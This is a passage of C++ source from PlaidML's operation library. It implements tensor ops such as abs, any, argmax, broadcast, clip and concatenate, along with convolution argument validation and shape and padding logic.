throw std::runtime_error("Cannot infer input data size for transposed convolution with data dilation");
}
auto O_eff = output_size;
auto F_eff = (dilation * (filter_size - 1)) + 1; // Effective Filter Size
if (autopad_mode == AutoPadMode::EXPLICIT) {
TensorDim pad_before(pad_lo);
TensorDim input_size(O_eff * stride - pad_lo - pad_hi + F_eff - stride);
return std::pair<TensorDim, TensorDim>(pad_before, input_size);
}
if (autopad_mode == AutoPadMode::VALID) {
TensorDim pad_before(0);
TensorDim input_size(O_eff * stride + F_eff - stride);
return std::pair<TensorDim, TensorDim>(pad_before, input_size);
}
if (autopad_mode == AutoPadMode::SAME_LOWER || autopad_mode == AutoPadMode::SAME_UPPER) {
TensorDim input_size(O_eff * stride - stride + 1);
int64_t lower_term = (autopad_mode == AutoPadMode::SAME_LOWER) ? 1 : 0;
TensorDim pad_before((max(0, (O_eff - 1) * stride + F_eff - input_size) + lower_term) / 2);
return std::pair<TensorDim, TensorDim>(pad_before, output_size);
}
throw std::runtime_error(llvm::formatv("Unexpected autopadding mode: {0}", to_string(autopad_mode)));
}
std::vector<int64_t>* extend_manual_padding(std::vector<int64_t>* pads, size_t rank) {
// TODO: Perhaps we should throw for sizes != 0, rank, 2*rank?
if (pads->size() > 2 * rank) {
throw std::runtime_error(llvm::formatv(
"Inconsistent spatial rank: operation with {0} spatial dimensions had {1} manual padding values given", rank,
pads->size()));
}
while (pads->size() < rank) {
pads->push_back(0);
}
while (pads->size() < 2 * rank) {
// Where pad_hi isn't set, copy the pad_lo value
pads->push_back(pads->at(pads->size() - rank));
}
return pads;
}
} // namespace
Value abs(const Value& value) {
IVLOG(1, "abs");
auto args = value.as_tuple();
if (args.size() != 1) {
throw std::runtime_error("abs expects 1 argument");
}
auto I = args[0].as_tensor();
auto O = select(I < 0., -I, I);
return Value{O};
}
Value all(const Value& value) {
IVLOG(1, "all");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("all expects 3 arguments");
}
auto I = args[0].as_tensor();
auto axes = args[1];
auto keepdims = args[2].as_bool();
auto one = cast(Tensor{1}, I.dtype());
auto zero = cast(Tensor{0}, I.dtype());
auto I_as_bool = select(I == 0, zero, one);
if (I.rank() == 0) {
return Value{cast(I_as_bool, DType::UINT8)};
}
if (axes.is_tuple() && axes.as_tuple().empty()) {
return Value{cast(I_as_bool, DType::UINT8)};
}
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor O = Contraction(agg.dst_dims, agg.dst_idxs).product(I_as_bool(agg.src_idxs));
return Value{cast(O, DType::UINT8)};
}
Value any(const Value& value) {
IVLOG(1, "any");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("any expects 3 arguments");
}
auto I = args[0].as_tensor();
auto axes = args[1];
auto keepdims = args[2].as_bool();
auto one = cast(Tensor{1}, I.dtype());
auto zero = cast(Tensor{0}, I.dtype());
auto I_as_bool = select(I == 0, zero, one);
if (I.rank() == 0) {
return Value{cast(I_as_bool, DType::UINT8)};
}
if (axes.is_tuple() && axes.as_tuple().empty()) {
return Value{cast(I_as_bool, DType::UINT8)};
}
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor S = Contraction(agg.dst_dims, agg.dst_idxs).sum(I_as_bool(agg.src_idxs));
auto O = select(S == 0, zero, one);
return Value{cast(O, DType::UINT8)};
}
Value argmax(const Value& value) {
IVLOG(1, "argmax");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("argmax expects 2 arguments");
}
auto I = args[0].as_tensor();
auto axes = args[1];
AggregationAxes agg(I.rank(), axes, false);
I.bind_dims(agg.src_dims);
Tensor M = Contraction(agg.dst_dims, agg.dst_idxs).max(I(agg.src_idxs));
auto IX = index(agg.reduce_dims, 0);
Tensor AM = Contraction(agg.dst_dims, agg.dst_idxs).max(cond(I(agg.src_idxs), M(agg.dst_idxs), IX(agg.reduce_idxs)));
auto O = cast(AM, DType::UINT32);
return Value{O};
}
Value binary_crossentropy(const Value& value) {
IVLOG(1, "binary_crossentropy")
auto args = value.as_tuple();
// Read arguments
if (args.size() != 3) {
throw std::runtime_error("binary_crossentropy expects 3 arguments");
}
auto T = args[0].as_tensor(); // Targets Tensor
auto raw_P = args[1]; // Predictions Tensor, before clipping
auto epsilon = args[2].as_float();
// Check args & set useful values
if (epsilon < 0. || epsilon >= 0.5) {
throw std::runtime_error(
llvm::formatv("The epsilon used in binary_crossentropy must be between 0 and 0.5, received {0}", epsilon));
}
auto clip_inputs = make_tuple(raw_P, Value{epsilon}, Value{1. - epsilon});
auto P = clip(clip_inputs).as_tensor();
auto O = -T * log(P) - (1 - T) * log(1 - P);
return Value{O};
}
Value broadcast(const Value& value) {
IVLOG(1, "broadcast");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error(llvm::formatv("PlaidML broadcast op expects 3 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
auto broadcast_axes = args[2].as_int_tuple();
if (I.rank() != broadcast_axes.size()) {
throw std::runtime_error(
llvm::formatv("Mismatched broadcast axes (received {0} broadcast axes for input tensor of rank {1})",
broadcast_axes.size(), I.rank()));
}
auto input_shape = I.compute_shape().sizes();
auto target_shape = args[1].as_int_tuple();
std::vector<TensorDim> O_dims(target_shape.begin(), target_shape.end());
std::vector<TensorDim> I_dims(I.rank());
I.bind_dims(I_dims);
std::vector<TensorIndex> I_idxs;
std::vector<TensorIndex> O_idxs(target_shape.size());
// Define input dims and indexes
for (size_t i = 0; i < broadcast_axes.size(); i++) {
if (input_shape[i] == 1) {
I_idxs.emplace_back(0);
} else {
I_idxs.emplace_back(O_idxs.at(broadcast_axes[i]));
}
}
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value clip(const Value& value) {
IVLOG(1, "clip");
auto args = value.as_tuple();
// Read arguments
if (args.size() != 3) {
throw std::runtime_error("clip expects 3 arguments");
}
auto I = args[0].as_tensor();
auto raw_min = args[1];
auto raw_max = args[2];
auto O = I;
if (!raw_min.is_none()) {
auto min = raw_min.as_tensor();
O = select(O > min, O, cast(min, O.dtype()));
}
if (!raw_max.is_none()) {
auto max = raw_max.as_tensor();
O = select(O < max, O, cast(max, O.dtype()));
}
return Value{O};
}
Value concatenate(const Value& value) {
// TODO: Make errors nicer (e.g. when bind_dims fails)
IVLOG(1, "concatenate")
// Read Arguments
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("concatenate expects 2 arguments");
}
auto tensor_vals = args[0].as_tuple();
auto raw_axis = args[1].as_int();
// Initialize useful values
std::vector<Tensor> tensors;
for (auto tensor_val : tensor_vals) {
tensors.push_back(tensor_val.as_tensor());
}
if (tensors.empty()) {
throw std::runtime_error("The concatenate op requires at least one input tensor");
}
auto ndims = tensors[0].rank();
auto axis = normalize_axis(raw_axis, ndims, "concatenate");
std::vector<TensorDim> dims(ndims);
std::vector<TensorIndex> I_idxs; // These will be named
std::vector<TensorIndex> O_idxs;
std::vector<TensorDim> axis_dims(tensors.size());
std::vector<TensorDim> axis_dim_subtotals;
std::vector<Tensor> results;
TensorIndex axis_idx("a");
axis_dim_subtotals.emplace_back(0);
for (size_t i = 0; i < ndims; ++i) {
if (i == axis) {
I_idxs.push_back(axis_idx);
} else {
I_idxs.emplace_back(llvm::formatv("n{0}", i));
}
}
// Bind the various input dimensions
for (size_t i = 0; i < tensors.size(); ++i) {
dims[axis] = axis_dims[i];
tensors[i].bind_dims(dims);
axis_dim_subtotals.push_back(axis_dims[i] + axis_dim_subtotals.back());
}
// Set dims to the final output dims
dims[axis] = axis_dim_subtotals[tensors.size()]; // There are tensors.size() + 1 TensorDims in the RHS vector
O_idxs = I_idxs; // The axis index will be overwritten during the loop
// Compute each intermediate output
for (size_t i = 0; i < tensors.size(); ++i) {
O_idxs[axis] = axis_idx + axis_dim_subtotals[i];
Tensor R = Contraction(dims, O_idxs).assign(tensors[i](I_idxs));
results.emplace_back(R);
}
auto final_result = results[0];
for (size_t i = 1; i < tensors.size(); ++i) {
final_result = final_result + results[i];
}
return Value{final_result};
}
namespace {
// Convolution helper functions
size_t compute_conv_rank_validating_strides(std::vector<int64_t>* strides, const Tensor& I_or_O,
TensorLayout input_layout) {
// As a side effect of computing the spatial_rank, this fills in the default 1s to strides if it's empty
size_t spatial_rank = strides->size();
if (spatial_rank == 0) {
// We are probably* being asked to infer a default strides value using the spatial rank from the tensors. So examine
// the `I_or_O` tensor rank and reconstruct `strides`.
// (*: It's also possible that we're dealing with a rank 0 conv, but the inferred strides will be unchanged in that
// case anyway, so this is safe.)
// If we ever extend possible layouts so that I and O may have different layouts, we will need to do this check in
// different ways depending on whether deriv_mode is DATA or not
// Infer spatial rank from input/output tensor rank
spatial_rank = I_or_O.rank() - nonspatial_dims(input_layout);
for (size_t i = 0; i < spatial_rank; i++) {
strides->push_back(1);
}
}
return spatial_rank;
}
void validate_conv_padding(const std::vector<int64_t>& manual_padding, AutoPadMode autopad_mode,
std::stringstream& args_log) {
if (!manual_padding.empty() && autopad_mode != AutoPadMode::EXPLICIT) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Autopadding and manual padding both requested for single conv operation");
}
}
void validate_conv_dilations_rank(size_t spatial_rank, std::vector<int64_t>* dilations, std::stringstream& args_log) {
// Verifies dilations rank and loads default value (all 1s) if dilations empty
if (dilations->empty()) {
// We're being asked to infer a default value for dilations
for (size_t i = 0; i < spatial_rank; i++) {
dilations->push_back(1);
}
} else if (dilations->size() != spatial_rank) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in conv op (expecting rank {0}, received {1}D dilations)",
spatial_rank, dilations->size()));
}
}
void validate_conv_data_dilations_rank(size_t spatial_rank, std::vector<int64_t>* data_dilations,
std::stringstream& args_log) {
if (data_dilations->empty()) {
// We're being asked to infer a default value for data_dilations
for (size_t i = 0; i < spatial_rank; i++) {
data_dilations->push_back(1);
}
} else if (data_dilations->size() != spatial_rank) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in conv op (expecting rank {0}, received {1}D data_dilations)",
spatial_rank, data_dilations->size()));
}
}
void validate_conv_input_layout(TensorLayout input_layout, std::stringstream& args_log) {
if (!is_input_layout(input_layout)) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Input tensor layout requested in conv op does not apply to convolution input tensors");
}
}
void validate_conv_filter_layout(TensorLayout filter_layout, std::stringstream& args_log) {
if (!is_filter_layout(filter_layout)) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Filter tensor layout requested in conv op does not apply to convolution filter tensors");
}
}
void validate_conv_input_rank(size_t const spatial_rank, const Tensor& I, TensorLayout input_layout,
ConvDerivMode deriv_mode, std::stringstream& args_log) {
if (deriv_mode != ConvDerivMode::DATA && I.rank() - spatial_rank != nonspatial_dims(input_layout)) {
// If we ever extend possible layouts so that I and O may have different layouts, we will
// need to do this check in different ways depending on whether deriv_mode is DATA or not
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(llvm::formatv(
"Inconsistent spatial rank in conv op (expected spatial rank {0} but input tensor has {1} dimensions, and thus "
"{2} spatial dims). (This error can also occur if the layout of I is incorrectly specified or interpreted.)",
spatial_rank, I.rank(), (I.rank() - nonspatial_dims(input_layout))));
}
}
void validate_conv_filter_rank(size_t spatial_rank, const Tensor& F, TensorLayout filter_layout,
ConvDerivMode deriv_mode, std::stringstream& args_log) {
if (deriv_mode != ConvDerivMode::FILTER && F.rank() - spatial_rank != nonspatial_dims(filter_layout)) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in conv op (expected spatial rank {0} but filter tensor has {1} "
"dimensions, and thus {2} spatial dims). (This error can also occur if the layout of F is "
"incorrectly specified or interpreted.)",
spatial_rank, F.rank(), (F.rank() - nonspatial_dims(filter_layout))));
}
}
void validate_conv_filter_shape_rank(size_t spatial_rank, std::vector<int64_t> filter_shape,
std::stringstream& args_log) {
if (filter_shape.size() && (filter_shape.size() != spatial_rank)) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
llvm::formatv("Filter shape manually specified with inconsistent rank (expected spatial rank {0} but "
"filter_shape has {1} dimensions)",
spatial_rank, filter_shape.size()));
}
}
void validate_conv_group_layout(TensorLayout filter_layout, GroupLayout group_layout, std::stringstream& args_log) {
if (is_filter_layout_with_separate_groups(filter_layout) && group_layout != GroupLayout::SEPARATE) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Filter_layout specifies separate groups but group_layout isn't SEPARATE");
}
if (!is_filter_layout_with_separate_groups(filter_layout) && group_layout == GroupLayout::SEPARATE) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Filter_layout lacks separate groups but group_layout is SEPARATE");
}
}
void validate_conv_result_shape(size_t spatial_rank, const std::vector<int64_t>& result_shape, ConvDerivMode deriv_mode,
bool infer_result_shape, std::stringstream& args_log) {
if (result_shape.empty()) {
if (deriv_mode != ConvDerivMode::NONE && !infer_result_shape) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
"Transposed/gradient convolutions require specifying the result_shape. This can be bypassed by setting "
"infer_result_shape = true, but be warned that infered result shapes do not necessarily match the input "
"shape used in the forward convolution, as multiple input shapes produce the same output shape.");
}
} else {
if (result_shape.size() != spatial_rank) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in conv op (received {0} spatial dimensions based on strides "
"but result shape has {1} spatial dims).",
spatial_rank, result_shape.size()));
}
}
}
void normalize_grouping_strategy(int64_t* groups, AutoGroupMode* autogroup_mode, GroupLayout* group_layout) {
// This normalization enforces:
// * If group_layout is NONE:
// - autogroup_mode is UNGROUPED
// (AUTO is converted to UNGROUPED, as is EXPLICIT if groups == 1)
// (DEPTHWISE throws, as does EXPLICIT if groups != 1)
// - groups is 1
// (If non-1, it is converted after autogroup_mode conversion succeeds)
// * If autogroup_mode is UNGROUPED:
// - groups is 1
// (If non-1, it throws)
// - group_layout allowed to vary
// * If autogroup_mode is EXPLICIT:
// - groups is > 1
// (If < 1, throw; if == 1, autogroup_mode is converted to UNGROUPED)
// - group_layout is allowed to vary, but may not be NONE
// (If group_layout is NONE and groups != 1, this throws (see above))
// (If group_layout is NONE and groupd == 1, autogroup_mode is converted to UNGROUPED (see above))
// * If autogroup_mode is AUTO:
// - groups is to be ignored
// - group_layout is SEPARATE or IN_K
// (throws if group_layout is IN_C)
// (if group_layout is NONE, autogroup_mode is converted to UNGROUPED (see above))
// * If autogroup_mode is DEPTHWISE:
// - groups is to be ignored
// - group_layout is not NONE
switch (*autogroup_mode) {
case AutoGroupMode::UNGROUPED:
if (*groups != 1) {
throw std::runtime_error("Convolution AutoGroupMode::UNGROUPED requires groups == 1");
}
break;
case AutoGroupMode::AUTO:
if (*group_layout == GroupLayout::NONE) {
*groups = 1;
*autogroup_mode = AutoGroupMode::UNGROUPED;
}
if (*group_layout == GroupLayout::IN_C) {
// TODO: This and related cases may depend on the deriv_mode; take that into account
throw std::runtime_error("Cannot automatically detect group size of convolution with IN_C GroupLayout");
}
break;
case AutoGroupMode::EXPLICIT:
if (*groups < 1) {
throw std::runtime_error("Requested grouped convolution with fewer than 1 groups");
}
if (*groups == 1) {
*autogroup_mode = AutoGroupMode::UNGROUPED;
}
if (*group_layout == GroupLayout::NONE && *groups != 1) {
throw std::runtime_error("GroupLayout not specified for grouped convolution");
}
break;
case AutoGroupMode::DEPTHWISE:
if (*group_layout == GroupLayout::NONE) {
throw std::runtime_error("Convolution GroupLayout must be specified to use DEPTHWISE AutoGroupMode");
}
break;
default:
throw std::runtime_error("Unrecognized AutoGroupMode");
}
}
} // namespace
Value convolution(const Value& value) {
IVLOG(1, "convolution");
// Parameters:
// 0. Input Tensor
// 1. Filter Tensor
// 2. Strides
// 3. Dilations
// 4. Data Dilations
// 5. Kernel Shape
// 6. Groups
// 7. Autopad Mode
// 8. Manual Padding
// 9. Input Tensor Layout
// 10. Filter Tensor Layout
// 11. Grouping Layout
// 12. Winograd allowed
// 13. Name
// 14. Autogrouping (? Unclear if we really need this)
// 15. Deriv Mode (DATA is equivalent to transposed conv)
// 16. Result Shape (a.k.a. output shape, used for transposed/derivative convs)
// 17. Infer Result Shape (is it legal to omit result shape for transposed convs)
// Read Arguments
auto args = value.as_tuple();
if (args.size() != 18) {
throw std::runtime_error("Convolution op expects 18 arguments");
}
IVLOG(5, "Requesting convolution with raw args: " << args);
auto I_or_O = args[0].as_tensor(); // O if deriv_mode is DATA, else I
auto F_or_O = args[1].as_tensor(); // O if deriv_mode is FILTER, else F
auto strides = args[2].as_int_tuple_or_empty();
auto dilations = args[3].as_int_tuple_or_empty();
auto data_dilations = args[4].as_int_tuple_or_empty();
// TODO: Perhaps could upgrade use of filter_shape?
// This is the shape of the _spatial_ filter dims _only_
auto filter_shape = args[5].as_int_tuple_or_empty();
auto groups = args[6].as_int(); // will be 1 for non-grouped convolutions
auto autopad_mode = validate<AutoPadMode>(args[7].as_int());
auto manual_padding = args[8].as_int_tuple_or_empty();
auto input_layout = validate<TensorLayout>(args[9].as_int());
auto filter_layout = validate<TensorLayout>(args[10].as_int());
auto group_layout = validate<GroupLayout>(args[11].as_int());
auto winograd_allowed = args[12].as_bool(); // TODO: Implement Winograd
auto name = args[13].as_str();
auto autogroup_mode = validate<AutoGroupMode>(args[14].as_int());
auto deriv_mode = validate<ConvDerivMode>(args[15].as_int());
auto result_shape = args[16].as_int_tuple_or_empty();
auto infer_result_shape = args[17].as_bool();
// Construct a string to log the arguments if something throws
std::stringstream args_log;
if (VLOG_IS_ON(1)) {
args_log << " Input Tensor: " << I_or_O << "\n";
args_log << " Filter Tensor: " << F_or_O << "\n";
args_log << " Strides: " << std::to_string(strides) << "\n";
args_log << " Dilations: " << std::to_string(dilations) << "\n";
args_log << " Data Dilations: " << std::to_string(data_dilations) << "\n";
args_log << " Filter Shape (optional): " << std::to_string(filter_shape) << "\n";
args_log << " Number of Groups (1 if not grouped): " << groups << "\n";
args_log << " Autopadding Mode: " << autopad_mode << "\n";
args_log << " Manual Padding (if used): " << std::to_string(manual_padding) << "\n";
args_log << " Input Layout: " << input_layout << "\n";
args_log << " Filter Layout: " << filter_layout << "\n";
args_log << " Group Layout: " << group_layout << "\n";
args_log << " Winograd Permitted?: " << winograd_allowed << "\n";
args_log << " Name: " << name << "\n";
args_log << " Autogroup Mode: " << autogroup_mode << "\n";
args_log << " Derivative Mode: " << deriv_mode << "\n";
args_log << " Result Shape (for transposed/differentiated convs): " << std::to_string(result_shape);
}
IVLOG(3, "Requesting convolution with args:\n" << args_log.str());
Tensor I; // Inputs (i.e. Data) tensor
Tensor F; // Filters (i.e. Weights i.e. Kernel) tensor
Tensor O; // Output (i.e. of a forward pass) tensor
Contraction OC;
// Connect the inputs to the right names
switch (deriv_mode) {
case ConvDerivMode::NONE:
I = I_or_O;
F = F_or_O;
break;
case ConvDerivMode::DATA:
O = I_or_O;
F = F_or_O;
break;
case ConvDerivMode::FILTER:
I = I_or_O;
O = F_or_O;
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid ConvDerivMode");
}
// Determine the number of spatial dimensions
auto spatial_rank = compute_conv_rank_validating_strides(&strides, I_or_O, input_layout);
// Verify inputs are consistent & generate default arguments if needed
validate_conv_padding(manual_padding, autopad_mode, args_log);
validate_conv_dilations_rank(spatial_rank, &dilations, args_log);
validate_conv_data_dilations_rank(spatial_rank, &data_dilations, args_log);
validate_conv_input_layout(input_layout, args_log);
validate_conv_filter_layout(filter_layout, args_log);
validate_conv_input_rank(spatial_rank, I, input_layout, deriv_mode, args_log);
validate_conv_filter_rank(spatial_rank, F, filter_layout, deriv_mode, args_log);
validate_conv_filter_shape_rank(spatial_rank, filter_shape, args_log);
validate_conv_group_layout(filter_layout, group_layout, args_log);
validate_conv_result_shape(spatial_rank, result_shape, deriv_mode, infer_result_shape, args_log);
extend_manual_padding(&manual_padding, spatial_rank);
if (name.empty()) {
name = "conv";
}
normalize_grouping_strategy(&groups, &autogroup_mode, &group_layout);
// Prepare dimension and index variables
TensorDim N, CI, CO, G;
// The channel dimensions as used by the filters, adjusted for group layout
TensorDim F_CI, F_CO;
TensorIndex n("n");
TensorIndex ci("ci");
TensorIndex co("co");
TensorIndex g("g");
// The spatial dimensions of I
std::vector<TensorDim> I_spatial_dims(spatial_rank);
// The spatial indexes of I
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(TensorIndex(llvm::formatv("x{0}", i)));
}
// The spatial dimensions of O; nearly unused
std::vector<TensorDim> O_spatial_dims(spatial_rank);
// The spatial dimensions of F
std::vector<TensorDim> F_spatial_dims(spatial_rank);
// The spatial indexs of F
std::vector<TensorIndex> k;
for (size_t i = 0; i < spatial_rank; ++i) {
k.emplace_back(TensorIndex(llvm::formatv("k{0}", i)));
}
std::vector<TensorDim> I_dims;
std::vector<TensorIndex> I_idxs;
std::vector<TensorDim> F_dims;
// this ensures that the inferred filter shape matches filter_shape if the latter is passed in
std::vector<TensorDim> F_explicit_dims;
std::vector<TensorIndex> F_idxs;
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> O_idxs;
// G may be explicit or automatically set, based on autogroup_mode
TensorDim G_explicit(groups);
switch (autogroup_mode) {
case AutoGroupMode::EXPLICIT:
case AutoGroupMode::UNGROUPED:
G = G_explicit;
break;
case AutoGroupMode::DEPTHWISE:
G = CI;
if (group_layout == GroupLayout::IN_K || group_layout == GroupLayout::SEPARATE) {
F_CI = TensorDim(1);
} else if (group_layout == GroupLayout::IN_C) {
// Everything can be inferred, do nothing // nolint(whitespace/empty_if_body)
} else {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(llvm::formatv("Unsupported group layout '{0}' used with autogroup mode DEPTHWISE",
to_string(group_layout)));
}
break;
case AutoGroupMode::AUTO:
if (group_layout == GroupLayout::SEPARATE || group_layout == GroupLayout::IN_K) {
// just let G be inferred; i.e. do nothing // nolint(whitespace/empty_if_body)
} else {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
llvm::formatv("Unsupported group layout '{0}' used with autogroup mode AUTO", to_string(group_layout)));
}
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Unrecognized AutoGroupMode");
}
// Set up dimensions of the inputs first so they can be bound Group layout
// affects the size of filter dimensions; we pass through the dims that don't
// need to be adjusted here, and we will calculate those dimensions that will
// be adjusted later (after some more dims are bound).
// TODO: This needs more thorough test converage
switch (group_layout) {
case GroupLayout::NONE:
F_CO = CO;
F_CI = CI;
break;
case GroupLayout::IN_C:
// Later: F_CO = CO / G;
F_CI = CI;
break;
case GroupLayout::IN_K:
F_CO = CO;
// Later: F_CI = CI / G;
break;
case GroupLayout::SEPARATE:
// Later: F_CO = CO / G;
// Later: F_CI = CI / G;
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid group_layout");
}
// The input data dims
if (deriv_mode != ConvDerivMode::DATA) {
switch (input_layout) {
case TensorLayout::NCX:
I_dims.push_back(N);
I_dims.push_back(CI);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(I_spatial_dims[i]);
}
break;
case TensorLayout::NXC:
I_dims.push_back(N);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(I_spatial_dims[i]);
}
I_dims.push_back(CI);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid input_layout");
}
I.bind_dims(I_dims);
}
// The filter dims
if (deriv_mode != ConvDerivMode::FILTER) {
switch (filter_layout) {
case TensorLayout::GKCX:
F_dims.push_back(G);
F_explicit_dims.push_back(G);
// Fall through deliberately
case TensorLayout::KCX:
F_dims.push_back(F_CO);
F_explicit_dims.push_back(F_CO);
F_dims.push_back(F_CI);
F_explicit_dims.push_back(F_CI);
for (size_t i = 0; i < spatial_rank; ++i) {
F_dims.push_back(F_spatial_dims[i]);
if (filter_shape.size()) {
F_explicit_dims.push_back(TensorDim(filter_shape[i]));
}
}
break;
case TensorLayout::XCK:
case TensorLayout::XGCK:
for (size_t i = 0; i < spatial_rank; ++i) {
F_dims.push_back(F_spatial_dims[i]);
if (filter_shape.size()) {
F_explicit_dims.push_back(TensorDim(filter_shape[i]));
}
}
if (filter_layout == TensorLayout::XGCK) {
F_dims.push_back(G);
F_explicit_dims.push_back(G);
}
F_dims.push_back(F_CI);
F_explicit_dims.push_back(F_CI);
F_dims.push_back(F_CO);
F_explicit_dims.push_back(F_CO);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid filter_layout");
}
F.bind_dims(F_dims);
if (filter_shape.size()) {
F.bind_dims(F_explicit_dims);
}
}
// The output data dims
if (deriv_mode != ConvDerivMode::NONE) {
// This assumes we infer the output layout from the input layout. So if we
// change that, the output data dims section will need to be adapted.
switch (input_layout) {
case TensorLayout::NCX:
O_dims.push_back(N);
O_dims.push_back(CO);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(O_spatial_dims[i]);
}
break;
case TensorLayout::NXC:
O_dims.push_back(N);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(O_spatial_dims[i]);
}
O_dims.push_back(CO);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid input_layout");
}
O.bind_dims(O_dims);
}
// Compute the adjustments to the filter channel dimensions that come from group size
switch (group_layout) {
case GroupLayout::NONE:
break;
case GroupLayout::IN_C:
CO = F_CO * G;
break;
case GroupLayout::IN_K:
CI = F_CI * G;
break;
case GroupLayout::SEPARATE:
CO = F_CO * G;
CI = F_CI * G;
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid group_layout");
}
// Determine the padding and the shape of the result tensor
// Note that this is a different shape computed in a different way depending on the DerivMode. In most cases with DATA
// and FILTER, `result_shape` will be set, in which case we use the NONE mode logic for the fully determined padding
// amounts it enables. If we need to we can infer result_shape for these cases (currently only implemented for DATA),
// but we have to make the assumption that the size is the minimal possible, so we avoid this path where possible.
std::vector<TensorDim> pad_before;
// Replace the unset defaults
switch (deriv_mode) {
case ConvDerivMode::NONE:
O_spatial_dims.clear();
break;
case ConvDerivMode::DATA:
I_spatial_dims.clear();
break;
default:
break;
}
for (size_t i = 0; i < spatial_rank; ++i) {
TensorDim local_pad_before;
TensorDim local_output_size;
TensorDim local_input_size;
TensorDim local_filter_size;
if (deriv_mode == ConvDerivMode::DATA && result_shape.empty()) {
TensorDim local_output_size = O_spatial_dims[i];
TensorDim local_filter_size = F_spatial_dims[i];
std::tie(local_pad_before, local_input_size) = compute_padding_and_input_size(
local_output_size, local_filter_size, strides[i], autopad_mode, manual_padding[i],
manual_padding[i + spatial_rank], dilations[i], data_dilations[i]);
pad_before.push_back(local_pad_before);
I_spatial_dims.push_back(local_input_size);
} else {
if (deriv_mode == ConvDerivMode::FILTER && result_shape.empty()) {
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error(
"Result shape inference not yet supported for filter transposed/derivative convolutions");
}
local_input_size = (deriv_mode == ConvDerivMode::DATA) ? TensorDim(result_shape[i]) : I_spatial_dims[i];
local_filter_size = (deriv_mode == ConvDerivMode::FILTER) ? TensorDim(result_shape[i]) : F_spatial_dims[i];
std::tie(local_pad_before, local_output_size) = compute_padding_and_output_size(
local_input_size, local_filter_size, strides[i], autopad_mode, manual_padding[i],
manual_padding[i + spatial_rank], dilations[i], data_dilations[i], false);
pad_before.push_back(local_pad_before);
switch (deriv_mode) {
case ConvDerivMode::NONE:
O_spatial_dims.push_back(local_output_size);
break;
case ConvDerivMode::DATA:
I_spatial_dims.push_back(TensorDim(result_shape[i]));
break;
default:
break;
}
}
}
// Now set up the dimensions of the result to be returned
switch (deriv_mode) {
case ConvDerivMode::NONE:
// This assumes we infer the output layout from the input layout. So if we
// change that, the below switch will need to be adapted.
switch (input_layout) {
case TensorLayout::NCX:
O_dims.push_back(N);
O_dims.push_back(CO);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(O_spatial_dims[i]);
}
break;
case TensorLayout::NXC:
O_dims.push_back(N);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(O_spatial_dims[i]);
}
O_dims.push_back(CO);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid input_layout");
}
OC = Contraction(name).outShape(O_dims);
break;
case ConvDerivMode::DATA:
switch (input_layout) {
case TensorLayout::NCX:
I_dims.push_back(N);
I_dims.push_back(CI);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(I_spatial_dims[i]);
}
break;
case TensorLayout::NXC:
I_dims.push_back(N);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(I_spatial_dims[i]);
}
I_dims.push_back(CI);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid input_layout");
}
OC = Contraction(name).outShape(I_dims);
break;
case ConvDerivMode::FILTER:
switch (filter_layout) {
// TODO: This won't always work for grouped convolutions, will have to update
case TensorLayout::GKCX:
F_dims.push_back(G);
